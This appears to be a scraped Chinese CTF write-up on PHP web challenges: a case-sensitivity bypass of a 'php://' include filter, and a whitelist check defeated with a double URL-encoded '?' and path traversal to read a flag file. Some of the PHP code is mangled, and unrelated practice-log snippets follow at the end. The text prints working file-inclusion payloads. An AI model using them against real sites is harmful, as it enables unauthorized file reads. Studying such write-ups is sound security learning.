過濾了php://
,後面有include檔案包含,這種過濾不是正則過濾,可以通過大小寫繞過
<?php
show_source
(__file__);
echo
$_get
['hello'];
$page
=$_get
['page'];
while
(strstr
($page
,"php://"))
include
($page);
?>
由於不知道flag在哪個檔案裡面,所以先搞到目錄
得到flag
2019強網杯的隨便注,寫過就不再寫wp了
抓包爆破
**審計
<?php
highlight_file
(__file__);
class
emmmif(
in_array
($page
,$whitelist))
$_page
=mb_substr
($page,0
,mb_strpos
($page
.'?'
, '?
') );
if (in_array($_page, $whitelist))
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,mb_strpos($_page . '
?', '?')
);if (in_array($_page, $whitelist))
echo "you can't see it";
return false;}}
if (! empty($_request
['file'])
&& is_string($_request
['file'])
&& emmm::checkfile($_request
['file'])
) else
?>
引數page被處理,會截斷?前的字串
有url解碼
$_page
=urldecode
($page
);
在hint.php裡面看到flag在ffffllllaaaagggg裡面,現在就是想辦法讓include包含到這個檔案
顯然前三個if條件跟苛刻,所以選擇最後乙個,經過了url解碼,這樣我們就可以url編碼兩次,讓伺服器收取時解碼一次,再類裡面再解碼一次,就剛剛好了,這樣就可以讓這個類返回true了
payload:?file=hint.php%253fffffllllaaaagggg
果然滑稽消失了,但是flag沒有出來,就一層一層往上訪問就行了,有個小細節,ffffllllaaaagggg每個字母有四次,可以猜測再往上爬四層就行
payload:source.php?file=hint.php%253f../../../../../ffffllllaaaagggg
OI刷題記錄
2014 4 18 poj3264 bzoj1699 balanced lineup rmq 2014 4 19 bzoj1012 jsoi2008 最大數maxnumber noi2004 鬱悶的出納員 bzoj3224 tyvj 1728 普通平衡樹 2014 4 20 bzoj1862 105...
面試刷題記錄
寫一段 判斷乙個包括 的表示式是否合法 注意看樣例的合法規則。給定乙個表示式a,請返回乙個bool值,代表它是否合法。測試樣例 a b 5 4 返回 true 測試樣例 a b 5 4 返回 false include vector include iostream using namespace ...
刷題記錄 2015 11 14
現在每天做的題都記錄一下,免得不知道自己在幹什麼。poj2406 用next陣列的定義求迴圈節 poj3261 字尾陣列 題 spoj705 同上,這題我wa了幾次,結果發現 我以為字串只有大寫字母,其實有小寫。如下 poj2406 author duyixian date 2015 11 14 1...